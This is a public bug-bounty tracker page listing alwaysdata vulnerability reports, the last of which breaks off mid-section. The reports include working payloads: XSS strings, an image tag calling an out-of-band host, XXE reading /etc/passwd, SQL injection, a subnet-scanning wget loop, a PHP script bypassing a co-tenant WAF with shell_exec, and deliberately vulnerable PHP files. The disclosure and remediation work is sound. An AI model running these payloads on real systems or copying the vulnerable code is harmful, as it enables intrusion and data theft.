Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary  desc Status Date closed
 317  Pre ATO& Identity Impersonation on skouat.alwaysdata.ne ...Closed09.04.2026 Task Description

The application allows any user to register an account with any email address without requiring email verification or activation. Furthermore, the system allows the registration of high-value usernames (e.g., administrator) and immediately grants access to the platform.
Because the "Forgot Password" and "Activation" systems are currently non-functional, an attacker can effectively "brick" or "squat" on any email address, preventing legitimate users from ever joining the platform or recovering their intended identities.

Technical Details
A. Lack of Registration Verification
The registration endpoint does not send a verification link to the provided email. Upon submission of the registration form, the user is immediately authenticated into the system.
B. Account Pre-Occupation (Squatting)
An attacker can register using a victim's email address (e.g., real-admin@company.com). Because the system marks this email as "in use," the legitimate owner is blocked from registering.
C. Denial of Service (Recovery Loop)
The "Forgot Password" function fails to send reset links to inactivated accounts. Since there is no way for a user to "activate" an account they didn't create, the email remains permanently locked in a "zombie" state within the database.

## impact
Identity Impersonation: Attackers can claim usernames that imply authority (Admin, Support, Moderator), which can be used for social engineering/phishing against other users.
Permanent User Lockout: Legitimate users are prevented from using their own email addresses on the platform.
User Enumeration: The registration form can be used to confirm if a specific person (via email) is already a member of the board.

## remediations

Enable Mandatory Activation: Configure phpBB to require "User Activation" via email before allowing a login session.
Disallowed Usernames: Add admin, administrator, and webmaster to the "Disallowed Usernames" list in the phpBB Administration Control Panel (ACP).
Fix SMTP Configuration: Ensure the server is correctly configured to send outgoing mail so legitimate users can utilize the "Forgot Password" tool to reclaim squatted accounts.

Video demonstration is attached below

regards..

 191  Pre-Account Takeover via Insecure Logic Registration Fl ...Closed04.07.2025 Task Description

This is a pre-account takeover vulnerability caused by a logic flaw that results in any unregistered email address being locked and rendered inaccessible. This issue directly impacts system availability.

attachment : https://admin.alwaysdata.com/support/87907

 14  Potential SSRF Vulnerability via Self-XSS Closed18.01.2024 Task Description

Description:

During a penetration testing process, I discovered a Self-XSS vulnerability on the page https://https://admin.alwaysdata.com/site/resolver/. This vulnerability has the potential to escalate into a Server-Side Request Forgery (SSRF) attack, allowing attackers to make unauthorized requests from the server. This poses risks such as data breaches and potential compromise of internal systems.

While the initial exploitation may require self-XSS, the underlying issue of unvalidated user input leading to SSRF is a critical vulnerability that must be addressed.

Steps To Reproduce:

Step 1 : Open BurpSuite.

Step 2 : Navigate to the following link in a web browser https://admin.alwaysdata.com/site/resolver/ Capture the traffic.Paste the payloads into the intercepted Request Body.

Payload 1:

{"addresses":["<script>alert(document.domain);</script>"]}

  (This payload triggers an alert displaying the value of document.domain.)

Payload 2:

{"addresses":["<img src=http://ox7dn3y4fsbqfkyzmmb5alv7i.odiss.eu/>"]}

  (This payload makes unauthorized requests from the server.)

The second payload initiates unauthorized requests from the server. In the above payloads, I utilized OAST to examine the responses.

Impact:

Attackers could steal sensitive information stored on the server.
By crafting malicious URLs, attackers could gain access to internal network resources that are not publicly accessible.

 465  Potential SQL Injection via getfile Parameter Closed31.08.2026 Task Description

Summary:-

The getfile parameter at https://security.alwaysdata.com/ appears to be insufficiently validated. Appending a single quote (') to the parameter causes a PostgreSQL database error, revealing the backend SQL query and parameter value.

Step to repro:-

1. Open the following URL:
https://security.alwaysdata.com/?getfile=1%27

2. Observe the returned error:
Query {SELECT t.project_id, a.orig_name, a.file_name, a.file_type, t.* FROM "flyspray_attachments" a INNER JOIN "flyspray_tasks" t ON a.task_id = t.task_id WHERE attachment_id = ?} with params {1'} failed!

ERROR: invalid input syntax for type integer: "1'"
CONTEXT: unnamed portal parameter $1 = '…'

3. The error indicates that the supplied getfile value is being passed to a PostgreSQL query as a parameter and that the application exposes internal SQL/database error details.

Impact:
Database error messages are exposed to unauthenticated users.
Internal SQL query structure and database implementation details are disclosed.
If the parameter is vulnerable beyond type validation/parameter handling, this could potentially lead to SQL injection and unauthorized database access.
The disclosed SQL details can assist further targeted attacks.

 313  Potential information disclosure via shared /home mount ...Closed28.03.2026 Task Description

Summary:
While using the SSH environment, I observed that the `df -h` command displays numerous mounted directories under /home that appear to belong to other users.

Description:
After logging into my account via SSH and running `df -h`, I can see multiple mount points such as /home/<username> that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.

Steps to reproduce:
1. Connect to the SSH environment
2. Run: df -h
3. Observe multiple /home/<user> mount points listed

Impact:
This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.

Notes:
- No attempt was made to access, modify, or interact with other users’ data
- This report is based on observation only
- observed about ~450 users information was available

Request:
Please confirm whether this behavior is expected and whether additional isolation measures are in place.

 324  PostgreSQL pg_catalog Enumeration via Shared Superuser  ...Closed27.04.2026 Task Description

Severity: 7.2 — High
Target Feature: PostgreSQL database provisioning (/admin/databases/postgresql/)
Vulnerability Class: CWE-732 — Incorrect Permission Assignment for Critical Resource
Root Cause: When alwaysdata provisions a new tenant PostgreSQL database, it clones from template1. If a prior administrative operation left superuser-owned functions, extensions, or catalog entries in template1 (a common operational shortcut), all subsequently provisioned tenant databases inherit those objects. A tenant with normal DB user access can then invoke inherited superuser functions.
Attack Narrative:

Step 1: Attacker provisions a new PostgreSQL database on alwaysdata's shared PostgreSQL server.
Step 2: Attacker connects with provided credentials and runs: SELECT proname, prosecdef FROM pg_proc WHERE prosecdef = true; — listing all SECURITY DEFINER functions inherited from template1.
Step 3: If template1 contains a leftover SECURITY DEFINER function (e.g., pg_read_file_wrapper or a custom admin utility), attacker calls it: SELECT pg_read_file_wrapper('/etc/postgresql/pg_hba.conf'); — executing as superuser.
Step 4: Attacker reads pg_hba.conf, connection strings for other tenant databases, or PostgreSQL's pg_shadow view to obtain password hashes for all tenants on the shared instance.

Impact: Full PostgreSQL server compromise — all tenant databases on the shared instance are exposed including credentials and data.

 304  Possible regression – Stored XSS via PDF attachment in  ...Closed16.03.2026 Task Description

Dear Alwaysdata Security Team,

I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks  FS#63 ,  FS#131  and  FS#195 .

Summary Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.

Vector: Malicious PDF attachment with embedded JavaScript (created using JS2PDFInjector).

Impact: When a staff member opens the attached PDF from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.

Steps to reproduce Log in to the admin panel and go to Support → Open a new ticket (https://admin.alwaysdata.com/support/add/).

Fill in Object/Subject/Message with any values (I also tested some filtered HTML/Markdown payloads which were correctly neutralized).

Attach a PDF named js_injected_poc.pdf containing embedded JS such as:
app.alert("DJH4CK3R");
app.alert("XSS");

Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).

Open the ticket in the support inbox: https://admin.alwaysdata.com/support/92563/#Bottom.

Click the attachment link js_injected_poc.pdf, which points to for example:
https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf.

The PDF is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.

Notes about prior reports I noticed that very similar issues have been reported before:

 FS#63  – Stored XSS Via Upload Document
 FS#131  – Stored XSS by PDF in Support inbox
 FS#195  – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature

My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via PDF attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.

If you would like, I can provide:
The exact PoC PDF file
Burp request/response logs for the ticket submission
A short video showing upload → ticket → alert execution

Thank you for your time and for keeping the platform secure.

Cordially,
DJH4CK3R

 98  Poor Error Handling Closed12.11.2024 Task Description

It was observed that the application exhibits poor data handling practices, which could lead to potential security vulnerabilities. Specifically:

Reflected Input in 404 Error Page: When a user navigates to a non-existent URL ====(https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e),==== the application returns a 404 error page. However, any additional text or encoded characters appended to the URL (e.g., malicious payloads) are directly reflected in the error message without proper sanitization or encoding.

Example: Accessing the crafted URL 1: https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e

2: https://www.alwaysdata.com/yOu_Are_hAckEd_by_zaIN_Ul_AbideeN

Result:

====404 - Page not found
The page /yOu_Are_hAckEd_by_zaIN_Ul_AbideeN could not be found. If you believe this is an error on our part, please let us know. Back
====

====Risk:==== This issue indicates a lack of proper input validation and output encoding, making the application vulnerable to Reflected Cross-Site Scripting (XSS) attacks. An attacker could craft malicious URLs containing scripts (e.g., <script>alert('XSS')</script>), which, if clicked by another user, could execute arbitrary JavaScript in their browser.

**Recommendation:**

Input Validation:

Validate and sanitize all user-supplied inputs before processing them.
Reject or encode unexpected characters in URLs.

==Output Encoding:
==
Ensure that any data rendered on error pages is properly encoded to prevent the execution of scripts.

==Customized 404 Page:==

Use a generic 404 error page that does not reflect user input back in the response.

==Security Testing:
==
Perform a thorough security assessment to identify and mitigate XSS or other injection vulnerabilities.

 39  PII Disclosure Closed28.03.2024 Task Description

Go to the below link and you can see the billing information of a user which includes his email and other critical information

https://web.archive.org/web/20220713065916/https://admin.alwaysdata.com/billing/337102/pdf/?user_id=150041&token=1657692793-a13e927142b2d5d7f427

 314  Phppgadmin Subdomain allows access with defalut credent ...Closed08.04.2026 Task Description

Hi security team , the subdomain phppgadmin.alwaysdata.com specifically this like 'https://phppgadmin.alwaysdata.com/phppgadmin/login.php?server='

It grant access for default credentials admin:admin which then prompt the user into a login page for internal postgresql servrt , i didnt try to brute force it but this one attack vector among others that can be used to access the database , its essential to hide such a subdomains from public access and move the server into internal network subnet or restrict access using web-app-firewalls that returns 403 based on certain rules theres too many ways to inhance the security of this subdomain .

I hope you found this report helpful in securing your assets

Regards..

 183  phpPgAdmin Leaks All Usernames Via `roles.php` Endpoint ...Closed16.06.2025 Task Description

The username of every single user on Alwaysdata is leaked via the roles.php endpoint. With this information, an attacker can use it to infer the URLs of services their potential victims use, ex. ssh-USERNAME_HERE.alwaysdata.net.

phpPgAdmin is also dumpster fire, it's in the best interest of your company to move away from the service to protect your users. phpPgAdmin is prone to cross-site scripting exploits and potential remote code execution due to the unserialization of user-supplied input (CVE-2023-40619). It's of no use reporting these vulnerabilities to the developers since phpPgAdmin is no longer maintained. Hell, even the CVE I mentioned hasn't been addressed. I urge you to switch to another service or a fork with security updates ASAP.

https://files.catbox.moe/pctk9v.png

 132  PHP info page disclosure Closed26.02.2025 Task Description

#PHP info page disclosure

Hello Team, I hope you are doing well. While Researching on your domain, I found PHP info page disclosure.

Steps to Reproduce:

1.Ping www.alwaysdata.net
2.Found 185.31.40.5
3.Next thing I did was a Whois request on that domain to find the Netrange of this IP Address.
inetnum: 185.31.40.0 - 185.31.40.255
netname: ALWAYSDATA-PARIS1
country: FR
admin-c: ALWS1-RIPE
tech-c: ALWS1-RIPE
status: ASSIGNED PA
mnt-by: ALWAYSDATA
created: 2024-09-24T12:04:24Z
last-modified: 2024-09-24T12:04:24Z
source: RIPE

4.Then I wrote a bash script to find Sensitive Data on IP Address.
#!/bin/bash
for ipa in 185.3{1..0}.{40..255}.{0..255}; do
wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &
and yes the result was the one i’ve found above.

5. I found http://185.31.41.136/phpinfo.php

An attacker can obtain information such as:
Exact PHP version.
Exact OS and its version.
Details of the PHP configuration.
Internal IP addresses.
Server environment variables.
Loaded PHP extensions and their configurations and etc.

Impact
This information can help an attacker gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.

Thank You,

Waleed Anwar

 454  Per-Site WAF Partial Bypass: application/xml Bodies Onl ...Closed19.08.2026 Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: Medium

Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `<script>` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.

## Reproduction Steps:

Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) XXE Declaration — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><q>&xxe;</q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.

### 2) Embedded XSS `<script>` — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q><script>alert(1)</script></q>
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: </h1></body>

```

### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

<q>x' OR 1=1– -</q>
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: 60dbddb…)
```

### 4) `text/xml`

The same `<script>` payload sent with `Content-Type: text/xml` also passes with HTTP 200.

## Impact:

The WAF's XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.

## Recommendations:

- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.
- The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.
- Re-test the full matrix from FINDING-1 and this report after any change is applied.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
 450  Per-site WAF fully bypassable by any co-tenant — attack ...Closed20.08.2026 Task Description

Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend
Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control

Verified: 2026-08-18, live re-test, zero false positives

Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain
— Architecture — how the attack works
```

                      INTERNET
                          │
                          ▼
            ┌─────────────────────────────┐
            │         alproxy             │
            │  (nginx-based public front) │
            │                             │
            │  ┌───────────────────────┐  │
            │  │   per-site WAF runs   │  │  ← waf_profile = full
            │  │   HERE — XSS/SQLi/LFI │  │    blocks malicious
            │  │   signatures, 403     │  │    payloads from internet
            │  └───────────────────────┘  │
            └──────────────┬──────────────┘
                           │ proxied request
                           ▼
            ┌─────────────────────────────┐
            │    Tenant Apache (origin)   │
            │  Listen [fd00::7:9184]:8080 │  ← no WAF here at all
            │  DocumentRoot /home/acct/   │    no mod_security
            │  FcgidWrapper php-cgi       │    no SecRule
            └─────────────────────────────┘
                           ▲
                           │ direct TCP connection
                           │ (skips alproxy entirely)
            ┌─────────────────────────────┐
            │   Attacker tenant PHP       │
            │   fsockopen(               │
            │     "[fd00::7:9184]", 8080) │  ← any co-tenant can do this
            │                             │    because bond0 is shared L2
            └─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│  Tenant A  fd00::7:8900:8080  ◄──┐                      │
│  Tenant B  fd00::7:8af6:8080  ◄──┤  attacker reaches    │
│  Tenant C  fd00::7:8e39:8080  ◄──┤  any of these        │
│  Attacker  fd00::7:9184:8080     │  directly via PHP    │
│  ... 146 total listeners ...  ◄──┘  fsockopen           │
└──────────────────────────────────────────────────────────┘

```
The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant's PHP can reach any co-tenant's origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.

What I found:

When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:<suffix>:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.
The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant's PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant's ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.
The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.

How to reproduce:

You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled.
Enable the WAF on the victim site:
```
PATCH https://api.alwaysdata.com/v1/site/<victim-site-id>/
Authorization: Basic <account-api-token>
Content-Type: application/json

{"waf_profile": "full"}
```
Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.
— Live evidence — A/B differential (2026-08-18, waf_profile=full)
I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.
Reflected XSS — via public front (WAF active):
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: badaac42-…)
```
Same payload — via co-tenant PHP directly to victim ULA backend:
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net

HTTP/1.1 200 OK
Server: Apache
Content-Length: 2419
(full page served, payload unblocked)
```
SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK.
Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.
Results summary:
```
payload via ULA backend (no WAF) via public front (WAF=full)
XSS HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
SQLi HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
/.git/config HTTP/1.1 404 Not Found HTTP/1.1 403 Forbidden
```
Origin Apache config — no WAF present:
```
/home/regtest846/admin/config/apache/apache.conf

  Listen [fd00::7:9184]:8080
  Include "sites.conf"

/home/regtest846/admin/config/apache/sites.conf

  <VirtualHost *>
      ServerName regtest846.alwaysdata.net
      AddHandler fcgid-script .php
      FcgidWrapper "/usr/bin/env ... /usr/bin/php-cgi" .php
      DocumentRoot "/home/regtest846/www/"
  </VirtualHost>

```
No mod_security, no SecRule, no WAF include anywhere in the origin config.
— PoC script
Drop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant's ULA suffix and $host with their public hostname.
```php
<?php
header("Content-Type: text/plain");
set_time_limit(120);

function http6($ip, $port, $path, $host) {

  $s = @fsockopen("[$ip]", $port, $e, $es, 6);
  if (!$s) return "CLOSED";
  stream_set_timeout($s, 10);
  fwrite($s, "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n");
  $r = "";
  while (!feof($s)) {
      $c = fread($s, 8192);
      if ($c === false || $c === "") break;
      $r .= $c;
  }
  fclose($s);
  return $r;

}

// replace these two values
$victim = "fd00::7:XXXX";
$host = "VICTIM.alwaysdata.net";

$payloads = array(

  "XSS"       => "/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
  "SQLi"      => "/index.html?q=x%27%20OR%201%3D1--",
  "path/.git" => "/.git/config",

);

echo "payload\t\t\tvia ULA backend\n";
echo str_repeat("-", 55) . "\n";
foreach ($payloads as $name ⇒ $path) {

  $be = http6($victim, 8080, $path, $host);
  $status = strtok($be, "\r\n");
  echo str_pad($name, 16) . "\t$status\n";

}
echo "\nNote: same payloads via public front all return 403.\n";
echo "Node context:\n";
echo "hostname: " . trim1) . "\n";
echo "our ULA: " . trim2) . "\n";
?>
```

Impact:

The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants.
An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable.
The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.

How to fix this:

The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.
The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.
Both fixes independently break this chain. Ideally both are applied together.
After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.

Evidence files:

The following evidence files are available and can be provided on request or via a support ticket per the program's private-information policy:

chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads
apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present
rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include

FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.

1) string)@shell_exec("hostname 2>/dev/null"
2) string)@shell_exec("ip -6 addr 2>/dev/null | grep -o 'fd00::7:[0-9a-f]*' | head -1"
 453  Per-Site WAF Bypass: application/json POST Bodies Are N ...Closed19.08.2026 Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: High

Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.

This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.

## Affected Surface:

- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).
- Tested at `waf_profile = full` (strictest level) — bypass holds there.
- Confirmed at both HTTP/1.1 and HTTP/2.
- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection.
- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.

## Reproduction Steps:

1. Create any alwaysdata hosting account with a PHP site.
2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token).
3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.
4. Send the requests shown in the PoC section.

### Victim App — `vuln.php` (reflects parameter into HTML):
```php
<?php
$q = $_REQUEST['q'];
header("Content-Type: text/html");
echo "

<body><h1>Search results for: $q</h1></body>

";
?>
```

### Victim App — `read.php` (reads arbitrary file):

```php
<?php
$f = $_REQUEST['file'];
header("Content-Type: text/plain");
echo @file_get_contents($f);
?>
```

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"<script>alert(1)</script>"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: <script>alert(1)</script></h1></body>

```

### 1b) Same payload — blocked as urlencoded (control, HTTP 403)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/x-www-form-urlencoded

q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: b699a16…)
```

### 2) SQL Injection — passes as `application/json` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"q":"x' OR 1=1– -"}
```
```
HTTP/1.1 200 OK

<body><h1>Search results for: x' OR 1=1-- -</h1></body>

```

Control urlencoded: HTTP 403.

### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)

```
POST /read.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/json

{"file":"/etc/passwd"}
```
```
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… ```

1764 bytes returned. Control urlencoded: HTTP 403.

### 4) Mechanism Proof — decision is header-only, not body content

Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.

### 5) HTTP/2

Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.

### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)

- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API.
- `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle.
- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.
- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.

## Impact:

Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.

## Re-Test Matrix (Already Verified)

Content-Type XSS SQLi LFI Result
`application/json` 200 pass 200 pass 200 pass BYPASS
`application/x-www-form-urlencoded` 403 403 403 Blocked
`application/xml` 200 pass 403 n/a Partial (see FINDING-2)
`text/xml` 200 pass Partial
`application/graphql` 403 Blocked (relabel to json = bypass)
All other CTs tested 403 403 403 Blocked

## Recommendations:

- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.
- Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.
- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.
- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.

## Evidence Files:

File Contents
`verify_f1_f2.py` Re-verification script; live output shown in PoC blocks above
`rce_src_dump.txt` LFI source disclosure of all webroot files (chains with this finding)
`blind_sqli_extract.py` Automation-scale blind SQLi extractor
`waf_protocol_sweep.py` HTTP/2 + GraphQL + smuggling protocol matrix
`waf_http2_smuggle.py` HTTP/2 smuggling tests
`waf_h2json_gql.py` GraphQL relabeling tests

## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified):
The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.

Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.

### A/B Proof (WAF=full active, same requests, identical payloads):

Request Backend via ULA `fd00::7:<addr>:8080` Public front (WAF=full)
`GET /index.html?q=<script>alert(1)</script>` 200 OK (2419 B) 403 Forbidden
`GET /index.html?q=x' OR 1=1–` 200 OK (2419 B) 403 Forbidden
`GET /.git/config` 404 Not Found (normal handling) 403 Forbidden

### Impact Escalation:

